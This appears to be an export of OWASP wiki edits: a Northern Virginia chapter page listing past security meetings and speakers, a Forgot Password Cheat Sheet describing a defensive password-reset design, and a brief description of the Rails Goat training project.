&lt;br /&gt;
'''DATE''': Tuesday, May 18th, 6pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''SPEAKER'''': Jeff Ennis, Senior Solutions Architect, Veracode&amp;lt;br&amp;gt; '''TITLE''': State of Software Security ([[Media:State of Software Security-Ennis.ppsx.zip]])&lt;br /&gt;
'''DESCRIPTION''': &lt;br /&gt;
A discussion of the current state of software security based on the compiled findings by Veracode from the dynamic and static code analysis they have performed for customers. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== September 2009  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, September 17, 2009. 6:00pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': 22260 Pacific blvd, Sterling, VA. 20166&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Fortify 360&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER''': Erik Klein (Fortify Software), Eric Dalci (Cigital)&amp;lt;br&amp;gt; '''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
We're pleased to invite you to our next week's OWASP Session (Thursday September 17th). We will be hosting a presentation, demo and hands on session of Fortify 360 (http://www.fortify.com). Fortify 360 includes Fortify SCA (Source Code Analyzer) and the Fortify 360 Server which is Fortify's solution for an enterprise deployment of SCA. The session will start with a presentation by Fortify engineers, followed by a demo and finally a hands on session where the audience will be free to install Fortify SCA on the machine and try it the SCA tool on a sample application that we will provide. The audience will also be introduced with the Fortify 360 Server and try some of the enterprise level features such as collaborative code review, metrics and so on. Bring your laptop if you want to try Fortify 360! &lt;br /&gt;
&lt;br /&gt;
The target audience is anyone interested in Secure Code Review with a Static Analysis tool at the desktop level and/or enterprise level. We will need to register visitors before hand...please email wade.woolwine@owasp.org for registration and confirm attendance. Pizza and refreshments will be served. &lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, September 3, 2009. 6:00pm.&amp;lt;br&amp;gt; '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Conducting Application Assessment&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER''': Jeremy Epstein, SRI&amp;lt;br&amp;gt; '''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
After the 2000 election, many states launched headlong into electronic voting systems to avoid the problems with &amp;quot;hanging chads&amp;quot;. Once problems with those systems started appearing, many localities started moving to optical scan, which was used by a majority of US voters in the 2008 election. There are other technologies in use around the country, including lever machines, vote-by-mail, vote-by-phone, and Internet voting. What are the tradeoffs among these technologies? Particularly relevant to OWASP, what are the security issues associated with different types of equipment, and what measures do vendors of voting equipment use to try to address the security problems? Are software security problems important, or can non-technical measures protect against them? In this talk, we'll discuss a wide variety of voting technologies, and their pros and cons from both a technical and societal perspective. &lt;br /&gt;
&lt;br /&gt;
'''ABOUT THE SPEAKER''': &lt;br /&gt;
&lt;br /&gt;
Jeremy Epstein is Senior Computer Scientist at SRI International. His background includes more than 20 years experience in computer security research, product development, and consulting. Prior to joining SRI International, he was Principal Consultant with Cigital, and before that spent nine years as Senior Director of Product Security at Software AG, an international business software company. Within the area of voting systems, Jeremy has been involved for over five years in voting technology and advocacy, both as an employee and as an independent consultant. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2009  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': July 9th 6pm-9pm EST&amp;lt;br&amp;gt; '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Ounce's 02&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER(S)''': Dinis Cruz, OWASP, Ounce Labs.&amp;lt;br&amp;gt; '''DESCRIPTION''': So what is O2? &lt;br /&gt;
&lt;br /&gt;
Well in my mind O2 is a combination of advanced tools (Technology) which are designed to be used on a particular way (Process) by knowledgeable Individuals (People) &lt;br /&gt;
&lt;br /&gt;
Think about it as a Fighter Jet who is able to go very fast, has tons of controls, needs to be piloted by somebody who knows what they are doing and needs to have a purpose (i.e. mission). &lt;br /&gt;
&lt;br /&gt;
Basically what I did with O2 was to automate the workflow that I have when I'm engaged on a source-code security review. &lt;br /&gt;
&lt;br /&gt;
Now, here is the catch, this version is NOT for the faint-of-heart. I designed this to suit my needs, which although are the same as most other security consultants, have its own particularities :) &lt;br /&gt;
&lt;br /&gt;
The whole model of O2 development is based around the concept of automating a security consultant’s brain, so I basically ensure that the main O2 Developer (Dinis Cruz) has a very good understanding of the feature requirements of the targeted Security Consultant (Dinis Cruz) :) . And this proved (even to my surprise) spectacularly productive, since suddenly I (i.e. the security consultant) didn't had to wait months for new features to be added to its toolkit. If there was something that needed to be added, it would just be added in days or hours. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Gary McGraw, Cigital Inc.'':''Building Security In Maturity Model''&amp;lt;br&amp;gt; Later, an interview: ''Jim Routh, formerly of DTCC'':''The Economic Advantages of a Resilient Supply Chain- Software Security'' ''&amp;lt;br&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
Gary McGraw talked about the experience he, Sammy Migues, and Brian Chess gained conducting a survey of some of America's top Software Security groups. Study results are available under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Share Alike license] at [http://www.bsi-mm.com www.bsi-mm.com]. Gary described the common structural elements and activities of successful software security programs, present the maturity model that resulted from survey data, and discuss lessons learned from listening to those leading these groups. &lt;br /&gt;
&lt;br /&gt;
Jim Routh gave an incredibly insightful interview regarding his own experiences crafting their security group. &lt;br /&gt;
&lt;br /&gt;
Download presentation notes at: [http://www.owasp.org/images/0/03/JMR-Economics_of_Security_Goups.ppt The Economic Advantages of a Resilient Supply Chain- Software Security] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Eric Dalci, Cigital Inc.'':''Introduction to Static Analysis''&amp;lt;br&amp;gt; Later, a panel: &lt;br /&gt;
&lt;br /&gt;
*Steven Lavenhar, Booz Allen Hamilton; &lt;br /&gt;
*Eric Dalci, Cigital Inc.&lt;br /&gt;
&lt;br /&gt;
Panel moderated by John Steven &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
This session is an introductory to Static Analysis. This session presents the different types of analysis used by today's Static Analysis tools. Examples of direct application to find vulnerabilities will be shown (ex: Data Flow Analysis, Semantic, Control Flow, etc.). Current limitations of Static Analysis will also be exposed. This session is tool agnostic, but will cover the approach taken by various leading commercial (as well as open-source) tools. &lt;br /&gt;
&lt;br /&gt;
Download: [http://www.owasp.org/images/e/ea/OWASP_Virginia_Edalci_May09.pdf Intro to Static Analysis] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Jeremiah Grossman, Whitehat Security'': '''Top 10 Web Hacking Techniques 2008'''&amp;lt;br&amp;gt; Jeremiah Spoke on (what he and colleagues determined were the) top ten web hacking techniques of 2008. This talk was a preview of his RSA '09 talk.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Download http://www.whitehatsec.com/home/assets/presentations/09PPT/PPT_OWASPNoVA04082008.pdf &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; Later, &lt;br /&gt;
&lt;br /&gt;
*Nate Miller, Stratum Security; &lt;br /&gt;
*Jeremiah Grossman, Whitehat Security; &lt;br /&gt;
*Tom Brennan, Whitehat Security; and &lt;br /&gt;
*Wade Woolwine, AOL&lt;br /&gt;
&lt;br /&gt;
served as penetration testing panels answering questions posed and moderated by Ken Van Wyk. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== February 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Ryan C. Barnett, Breach Security'': '''Patching Challenge: Securing WebGoat with ModSecurity''' &lt;br /&gt;
&lt;br /&gt;
Identification of web application vulnerabilities is only half the battle with remediation efforts as the other. Let's face the facts, there are many real world business scenarios where it is not possible to update web application code in either a timely manner or at all. This is where the tactical use-case of implementing a web application firewall to address identified issues proves its worth. &lt;br /&gt;
&lt;br /&gt;
This talk will provide an overview of the recommended practices for utilizing a web application firewall for virtual patching. After discussing the framework to use, we will then present a very interesting OWASP Summer of Code Project where the challenge was to attempt to mitigate as many of the OWASP WebGoat vulnerabilities as possible using the open source ModSecurity web application firewall. During the talk, we will discuss both WebGoat and ModSecurity and provide in-depth walk-throughs of some of the complex fixes. Examples will include addressing not only attacks but the underlying vulnerabilities, using data persistence for multiple-step processes, content injection and even examples of the new LUA programming language API. The goal of this talk is to both highlight cutting edge mitigation options using a web application firewall and to show how it can effectively be used by security consultants who traditionally could only offer source code fixes. &lt;br /&gt;
&lt;br /&gt;
Ryan C. Barnett is the Director of Application Security Research at Breach Security and leads Breach Security Labs. He is also a Faculty Member for the SANS Institute, Team Lead for the Center for Internet Security Apache Benchmark Project and a Member of the Web Application Security Consortium where he leads the Distributed Open Proxy Honeypot Project. Mr. Barnett has also authored a web security book for Addison/Wesley Publishing entitled &amp;quot;Preventing Web Attacks with Apache.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
(This talk is a preview of Ryan's talk at Blackhat Federal the following week - see https://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html#Barnett ) &lt;br /&gt;
&lt;br /&gt;
Download [[Media:Virtual_Patching_Ryan_Barnett_Blackhat_Federal_09.zip|WAF Virtual Patching Challenge: Securing WebGoat with ModSecurity]] &lt;br /&gt;
&lt;br /&gt;
''John Steven, Cigital'': '''Moving Beyond Top N Lists''' &lt;br /&gt;
&lt;br /&gt;
Download [[Media:Moving_Beyond_Top_N_Lists.ppt.zip|Moving Beyond Top N Lists]] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; Cigital published an article: The Top 11 Reasons Why Top 10 (or 25) Lists Don’t Work. Yet, these lists are a staple of conference abstracts, industry best practice lists, and the like. Are they good or bad? We’ll explore how to get beyond the Top 10 (or 25) list in making your software security effort real. &lt;br /&gt;
&lt;br /&gt;
John is Senior Director, Advanced Technology Consulting at Cigital. His experience includes research in static code analysis and hands-on architecture and implementation of high-performance, scalable Java EE systems. John has provided security consulting services to a broad variety of commercial clients including two of the largest trading platforms in the world and has advised America's largest internet provider in the Midwest on security and forensics. John led the development of Cigital's architectural analysis methodology and its approach to deploying enterprise software security frameworks. He has demonstrated success in building Cigital's intellectual property for providing cutting-edge security. He brings this experience and a track record of effective strategic innovation to clients seeking to change, whether to adopt more cutting-edge approaches, or to solidify ROI. John currently chairs the SD Best Practices security track and co-edits the building security in department of IEEE's Security and Privacy magazine. John has served on numerous conference panels regarding software security, wireless security and Java EE system development. He holds a B.S. in Computer Engineering and an M.S. in Computer Science from Case Western Reserve University. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== January 2009  ===&lt;br /&gt;
&lt;br /&gt;
To kick off 2009, our January meeting featured a discussion of the relationship between application security and CMMI, and an overview of the OWASP ASVS project. &lt;br /&gt;
&lt;br /&gt;
''Michele Moss, Booz Allen Hamilton'': '''Evolutions In The Relationship Between Application Security And The CMMI''' &lt;br /&gt;
&lt;br /&gt;
Addressing new and complex threats and IT security challenges requires repeatable, reliable, rapid, and cost effective solutions. To implement these solutions, organizations have begun to align their security improvement efforts with their system and software development practices. During a “Birds of a Feather” at the March 2007 SEPG, a group of industry representatives initiated an effort which led to the definition of assurance practices that can be applied in the context of the CMMI. This presentation will provide an understanding how applying the assurance practices in the context of security contribute to the overall increased quality of products and services, illustrate how the a focus on assurance in the context of CMMI practices is related to application security practices, and present and approach to evaluate and improve the repeatability and reliability of assurance practices. &lt;br /&gt;
&lt;br /&gt;
Michele Moss, CISSP, is a security engineer with more than 12 years of experience in process improvement. She specializes in integrating assurance processes and practices into project lifecycles. Michele is the Co-Chair of the DHS Software Assurance Working Group on Processes &amp;amp;amp; Practices. She has assisted numerous organizations with maturing their information technology, information assurance, project management, and support practices through the use of the capability maturity models including the CMMI, and the SSE-CMM. She is one of the key contributors in an effort to apply an assurance focus to CMMI. &lt;br /&gt;
&lt;br /&gt;
Slides available: [[Media:Moss-AppSecurityAndCMMI.pdf|Evolutions In The Relationship Between Application Security And The CMMI]] &lt;br /&gt;
&lt;br /&gt;
''Mike Boberski, Booz Allen Hamilton'': '''About OWASP ASVS''' &lt;br /&gt;
&lt;br /&gt;
The primary aim of the OWASP ASVS Project is to normalize the range of coverage and level of rigor available in the market when it comes to performing application-level security verification. The goal is to create a set of commercially-workable open standards that are tailored to specific web-based technologies. &lt;br /&gt;
&lt;br /&gt;
Mike Boberski works at Booz Allen Hamilton. He has a background in application security and the use of cryptography by applications. He is experienced in trusted product evaluation, security-related software development and integration, and cryptomodule testing. For OWASP, he is the project lead and a co-author of the OWASP Application Security Verification Standard, the first OWASP standard. &lt;br /&gt;
&lt;br /&gt;
Slides available: [[Media:About_OWASP_ASVS_Web_Edition.ppt|About OWASP ASVS]] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2008  ===&lt;br /&gt;
&lt;br /&gt;
For our November 2008 meeting, we had two great presentations on software assurance and security testing. &lt;br /&gt;
&lt;br /&gt;
''Nadya Bartol, Booz Allen Hamilton'': '''Framework for Software Assurance''' &lt;br /&gt;
&lt;br /&gt;
Nadya's presentation will provide an update on the Software Assurance Forum efforts to establish a comprehensive framework for software assurance (SwA) and security measurement. The Framework addresses measuring achievement of SwA goals and objectives within the context of individual projects, programs, or enterprises. It targets a variety of audiences including executives, developers, vendors, suppliers, and buyers. The Framework leverages existing measurement methodologies, including Practical Software and System Measurement (PSM); CMMI Goal, Question, Indicator, Measure (GQ(I)M); NIST SP 800-55 Rev1; and ISO/IEC 27004 and identifies commonalities among the methodologies to help organizations integrate SwA measurement in their overall measurement efforts cost-effectively and as seamlessly as possible, rather than establish a standalone SwA measurement effort within an organization. The presentation will provide an update on the SwA Forum Measurement Working Group work, present the current version of the Framework and underlying measures development and implementation processes, and propose example SwA measures applicable to a variety of SwA stakeholders. The presentation will update the group on the latest NIST and ISO standards on information security measurement that are being integrated into the Framework as the standards are being developed. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/Bartol-MeasurementForOWASP11-13-08.pdf Framework for Software Assurance]&lt;br /&gt;
&lt;br /&gt;
''Paco Hope, Cigital'': '''The Web Security Testing Cookbook''' &lt;br /&gt;
&lt;br /&gt;
The Web Security Testing Cookbook (O'Reilly &amp;amp;amp; Associates, October 2008) gives developers and testers the tools they need to make security testing a regular part of their development lifecycle. Its recipe style approach covers manual, exploratory testing as well automated techniques that you can make part of your unit tests or regression cycle. The recipes cover the basics like observing messages between clients and servers, to multi-phase tests that script the login and execution of web application features. This book complements many of the security texts in the market that tell you what a vulnerability is, but not how to systematically test it day in and day out. Leverage the recipes in this book to add significant security coverage to your testing without adding significant time and cost to your effort. &lt;br /&gt;
&lt;br /&gt;
Congratulations to Tim Bond who won an autographed copy of Paco's book. Get your copy here [[http://www.amazon.com/Security-Testing-Cookbook-Paco-Hope/dp/0596514832]] &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/PacoHope-WebSecCookbook.pdf The Web Security Testing Cookbook]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== October 2008  ===&lt;br /&gt;
&lt;br /&gt;
For our October 2008 meeting, we had two fascinating talks relating to forensics. &lt;br /&gt;
&lt;br /&gt;
''Dave Merkel, Mandiant'': '''Enterprise Grade Incident Management - Responding to Persistent Threats''' &lt;br /&gt;
&lt;br /&gt;
Dave Merkel is Vice President of Products at Mandiant, a leading provider of information security services, education and products. Mr. Merkel has worked in the information security and incident response industry for over 10 years. His background includes service as a federal agent in the US Air Force and over 7 years experience directing security operations at America Online. He currently oversees the product business at Mandiant, and is in charge of building Mandiant Intelligent Response - an enterprise incident response solution. But no, he won't be selling you anything today. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/Mandiant-EnterpriseIRandAPTpresentation.pdf Enterprise Grade Incident Management - Responding to Persistent Threats] &lt;br /&gt;
&lt;br /&gt;
''Inno Eroraha, NetSecurity'': '''Responding to the Digital Crime Scene: Gathering Volatile Data''' &lt;br /&gt;
&lt;br /&gt;
Inno Eroraha is the founder and chief strategist of NetSecurity Corporation, a company that provides digital forensics, hands-on security consulting, and Hands-on How-To® training solutions that are high-quality, timely, and customer-focused. In this role, Mr. Eroraha helps clients plan, formulate, and execute the best security and forensics strategy that aligns with their business goals and priorities. He has consulted with Fortune 500 companies, IRS, DHS, VA, DoD, and other entities. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/NetSecurity-RespondingToTheDigitalCrimeScene-GatheringVolatileData-TechnoForensics-102908.pdf Responding to the Digital Crime Scene: Gathering Volatile Data] &lt;br /&gt;
&lt;br /&gt;
=== History  ===&lt;br /&gt;
&lt;br /&gt;
The original DC Chapter was founded in June 2004 by [mailto:jeff.williams@owasp.org Jeff Williams] and has had members from Virginia to Delaware. In April 2005 a new chapter, OWASP Washington VA Local Chapter, was formed and the DC Chapter was renamed to DC-Maryland. The two are sister chapters and include common members and shared discourse. The chapters meet in opposite halves of the month to facilitate this relationship. &lt;br /&gt;
&lt;br /&gt;
==== Chapter Groups  ====&lt;br /&gt;
&lt;br /&gt;
Within the chapter, various common interests spring up. We've created Google groups to manage collaboration amongst participants for these topics. Feel free to join and participate in: &lt;br /&gt;
&lt;br /&gt;
*[http://groups.google.com/group/novaowasp_threatmodeling Threat Modeling] &lt;br /&gt;
*[http://groups.google.com/group/novaowasp_mobile Mobile]&lt;br /&gt;
&lt;br /&gt;
=== OWASP NoVa Members On Twitter  ===&lt;br /&gt;
&lt;br /&gt;
Mike McCabe [http://twitter.com/mccabe615 http://twitter.com/mccabe615] &lt;br /&gt;
&lt;br /&gt;
John Steven [http://twitter.com/m1splacedsoul http://twitter.com/m1splacedsoul] &lt;br /&gt;
&lt;br /&gt;
Jack Mannino [http://twitter.com/jack_mannino http://twitter.com/jack_mannino] &lt;br /&gt;
&lt;br /&gt;
Ben Tomhave [http://twitter.com/falconsview http://twitter.com/falconsview] &lt;br /&gt;
&lt;br /&gt;
Ken Johnson [http://twitter.com/cktricky http://twitter.com/cktricky] &lt;br /&gt;
&lt;br /&gt;
Mike Smith [http://twitter.com/rybolov http://twitter.com/rybolov] &lt;br /&gt;
&lt;br /&gt;
Trevor Hawthorn [http://twitter.com/packetwerks http://twitter.com/packetwerks] &lt;br /&gt;
&lt;br /&gt;
Jeremy Long [http://twitter.com/ctxt http://twitter.com/ctxt] &lt;br /&gt;
&lt;br /&gt;
Ari Elias-Bachrach [http://twitter.com/angelofsecurity http://twitter.com/angelofsecurity] &lt;br /&gt;
&lt;br /&gt;
Venkat Sundaram [http://twitter.com/Vnk3889 http://twitter.com/Vnk3889] &lt;br /&gt;
&lt;br /&gt;
==== Knowledge  ====&lt;br /&gt;
&lt;br /&gt;
The Northern Virginia (NoVA) chapter is committed to compiling resources on interesting and valuable topic areas. We hope that this structure helps you access information pertinent to your tasks at hand as you move through a secure application development life cycle. Currently, our topic areas of focus include activities such as: &lt;br /&gt;
&lt;br /&gt;
*Threat Modeling &lt;br /&gt;
*[[Code Review and Static Analysis with tools]] &lt;br /&gt;
*Penetration Testing and Dynamic Analysis tools &lt;br /&gt;
*Monitoring/Dynamic patching (WAFs)&lt;br /&gt;
&lt;br /&gt;
Certain projects our members are involved in cross-cut these activities, providing value throughout. They include: &lt;br /&gt;
&lt;br /&gt;
*ASVS&lt;br /&gt;
&lt;br /&gt;
=== Static Analysis Curriculum  ===&lt;br /&gt;
&lt;br /&gt;
*For an introduction to the OWASP Static Analysis (SA) Track goals, objectives, and session roadmap, please see [http://www.owasp.org/index.php/Image:OWASP_NoVA_SA_Track_Final_20090408.ppt this presentation].&lt;br /&gt;
&lt;br /&gt;
The following is the agenda of the OWASP Static Analysis track roadmap for the [http://www.owasp.org/index.php/Virginia_(Northern_Virginia) Northern Virginia Chapter]. &lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp SAtrack plan.png|OWASP Static Analysis Roadmap - Northern Virginia Chapter 2009]] &lt;br /&gt;
&lt;br /&gt;
'''Contacts'''&amp;lt;br&amp;gt; Questions related to this curriculum should be sent to [mailto:John.Steven@owasp.org John Steven], who is the Northern Virginia chapter leader. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Flash Talk Resources  ===&lt;br /&gt;
&lt;br /&gt;
Chandu Ketkar on OFS. Download: [http://www.owasp.org/images/1/1c/OFS.pptx OFS Presentation.] &amp;lt;br&amp;gt; [http://jack-mannino.blogspot.com/ Jack Mannino] on Google and Searching for Personal Information &amp;lt;br&amp;gt; Jesse Ou on XML Bombs. Download: [http://www.owasp.org/images/1/18/OWASP_JOU_XML_DTD_Attacks.pptx XML DTD Presentation] &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Northern Virginia&amp;lt;/paypal&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:United States]]&lt;br /&gt;
[[Category:Virginia]]&lt;br /&gt;
[[Category:Washington,_DC]]&lt;/div&gt;</summary>
		<author><name>Michael McCabe</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Forgot_Password_Cheat_Sheet&amp;diff=218830</id>
		<title>Forgot Password Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Forgot_Password_Cheat_Sheet&amp;diff=218830"/>
				<updated>2016-07-11T19:13:19Z</updated>
		
		<summary type="html">&lt;p&gt;Michael McCabe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This article provides a simple model to follow when implementing a &amp;amp;quot;forgot password&amp;amp;quot; web application feature.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
= The Problem =&lt;br /&gt;
&lt;br /&gt;
There is no industry standard for implementing a Forgot Password feature. The result is that you see applications forcing users to jump through myriad hoops involving emails, special URLs, temporary passwords, personal security questions, and so on. With some applications you can recover your existing password. In others you have to reset it to a new value.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Steps  =&lt;br /&gt;
&lt;br /&gt;
== Step 1) Gather Identity Data or Security Questions ==&lt;br /&gt;
Delete&lt;br /&gt;
The first page of a secure Forgot Password feature asks the user for multiple pieces of hard data that should have been previously collected (generally when the user first registers). Steps for this are detailed in the identity section the Choosing and Using Security Questions Cheat Sheet [https://www.owasp.org/index.php/Choosing_and_Using_Security_Questions_Cheat_Sheet#Step_1.29_Decide_on_Identity_Data_vs_Canned_Questions_vs._User-Created_Questions here].&lt;br /&gt;
&lt;br /&gt;
At a minimum, you should have collected some data that will allow you to send the password reset information to some out-of-band side-channel, such as a (possibly different) email address or an SMS text number, etc. to be used in Step 3.&lt;br /&gt;
&lt;br /&gt;
== Step 2) Verify Security Questions ==&lt;br /&gt;
&lt;br /&gt;
After the form on Step 1 is submitted, the application verifies that each piece of data is correct for the given username. If anything is incorrect, or if the username is not recognized, the second page displays a generic error message such as “Sorry, invalid data”. If all submitted data is correct, Step 2 should display at least two of the user’s pre-established personal security questions, along with input fields for the answers. It’s important that the answer fields are part of a single HTML form.&lt;br /&gt;
&lt;br /&gt;
Do not provide a drop-down list for the user to select the questions he wants to answer. Avoid sending the username as a parameter (hidden or otherwise) when the form on this page is submitted. The username should be stored in the server-side session where it can be retrieved as needed.&lt;br /&gt;
&lt;br /&gt;
Because users' security questions / answers generally contains much less entropy than a well-chosen password (how many likely answers are there to the typical &amp;quot;What's your favorite sports team?&amp;quot; or &amp;quot;In what city where you born?&amp;quot; security questions anyway?), make sure you limit the number of guesses attempted and if some threshold is exceeded for that user (say 3 to 5), lock out the user's account for some reasonable duration (say at least 5 minutes) and then challenge the user with some form of challenge token per standard multi-factor workflow; see #3, below) to mitigate attempts by hackers to guess the questions and reset the user's password. (It is not unreasonable to think that a user's email account may have already been compromised, so tokens that do not involve email, such as SMS or a mobile soft-token, are best.)&lt;br /&gt;
&lt;br /&gt;
==  Step 3) Send a Token Over a Side-Channel ==&lt;br /&gt;
&lt;br /&gt;
After step 2, lock out the user's account immediately. Then SMS or utilize some other multi-factor token challenge with a randomly-generated code having 8 or more characters. This introduces an “out-of-band” communication channel and adds defense-in-depth as it is another barrier for a hacker to overcome. If the bad guy has somehow managed to successfully get past steps 1 and 2, he is unlikely to have compromised the side-channel.  It is also a good idea to have the random code which your system generates to only have a limited validity period, say no more than 20 minutes or so. That way if the user doesn't get around to checking their email and their email account is later compromised, the random token used to reset the password would no longer be valid if the user never reset their password and the &amp;quot;reset password&amp;quot; token was discovered by an attacker. Of course, by all means, once a user's password has been reset, the randomly-generated token should no longer be valid.&lt;br /&gt;
&lt;br /&gt;
== Step 4) Allow user to change password in the existing session ==&lt;br /&gt;
&lt;br /&gt;
Step 4 requires input of the code sent in step 3 in the existing session where the challenge questions were answered in step 2, and allows the user to reset his password. Display a simple HTML form with one input field for the code, one for the new password, and one to confirm the new password. Verify the correct code is provided and be sure to enforce all password complexity requirements that exist in other areas of the application. As before, avoid sending the username as a parameter when the form is submitted. Finally, it's critical to have a check to prevent a user from accessing this last step without first completing steps 1 and 2 correctly. Otherwise, a [[forced browsing]] attack may be possible. Ensure the user changes their password and does not simply surf to another page in the application. The reset must be performed before any other operations can be performed by the user.&lt;br /&gt;
&lt;br /&gt;
== Step 5) Logging ==&lt;br /&gt;
&lt;br /&gt;
It is important to keep audit records when password change requests were submitted. This includes whether or not security questions were answered, when reset messages were sent to users and when users utilize them.  It is especially important to log failed attempts to answer security questions and failed attempted use of expired tokens. This data can be used to detect abuse and malicious behavior.  Data such as time, IP address, and browser information can be used to spot trends of suspicious use.&lt;br /&gt;
&lt;br /&gt;
= Other Considerations =&lt;br /&gt;
&lt;br /&gt;
* Whenever a successful password reset occurs, the session should be invalidated and the user redirected to the login page.&lt;br /&gt;
* Strength of questions used for reset should vary based on the nature of the credential. Administrator credentials should have a higher requirement.&lt;br /&gt;
* The ideal implementation should rotate the questions asked in order to avoid automation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Dave Ferguson - gmdavef[at]gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Kevin Wall - kevin.w.wall[at]gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
James McGovern - james.mcgovern[at]hp.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Wesley Philip - wphilip[at]ca.ibm.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael McCabe</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Rails_Goat_Project&amp;diff=217560</id>
		<title>OWASP Rails Goat Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Rails_Goat_Project&amp;diff=217560"/>
				<updated>2016-06-02T16:12:47Z</updated>
		
		<summary type="html">&lt;p&gt;Michael McCabe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
Railsgoat is a vulnerable version of the Ruby on Rails Framework and includes vulnerabilities from the OWASP Top 10, as well as some &amp;quot;extras&amp;quot; the initial project contributors felt worthwhile to share. This project is designed to educate both developers as well as security professionals. More information can be found at the &amp;quot;Unofficial&amp;quot; project site, listed below.&lt;br /&gt;
&lt;br /&gt;
The unofficial but maintained project page which includes tutorials, getting started, FAQ, etc. [http://railsgoat.cktricky.com RailsGoat Unofficial Homepage]&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
{{:Projects/OWASP_Rails_Goat_Project}} &lt;br /&gt;
&lt;br /&gt;
From the Unofficial project page&lt;br /&gt;
&lt;br /&gt;
''The idea is simple.&lt;br /&gt;
Free training for both developers and security professionals.&lt;br /&gt;
All of it specific to the Ruby on Rails framework.''&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]&lt;br /&gt;
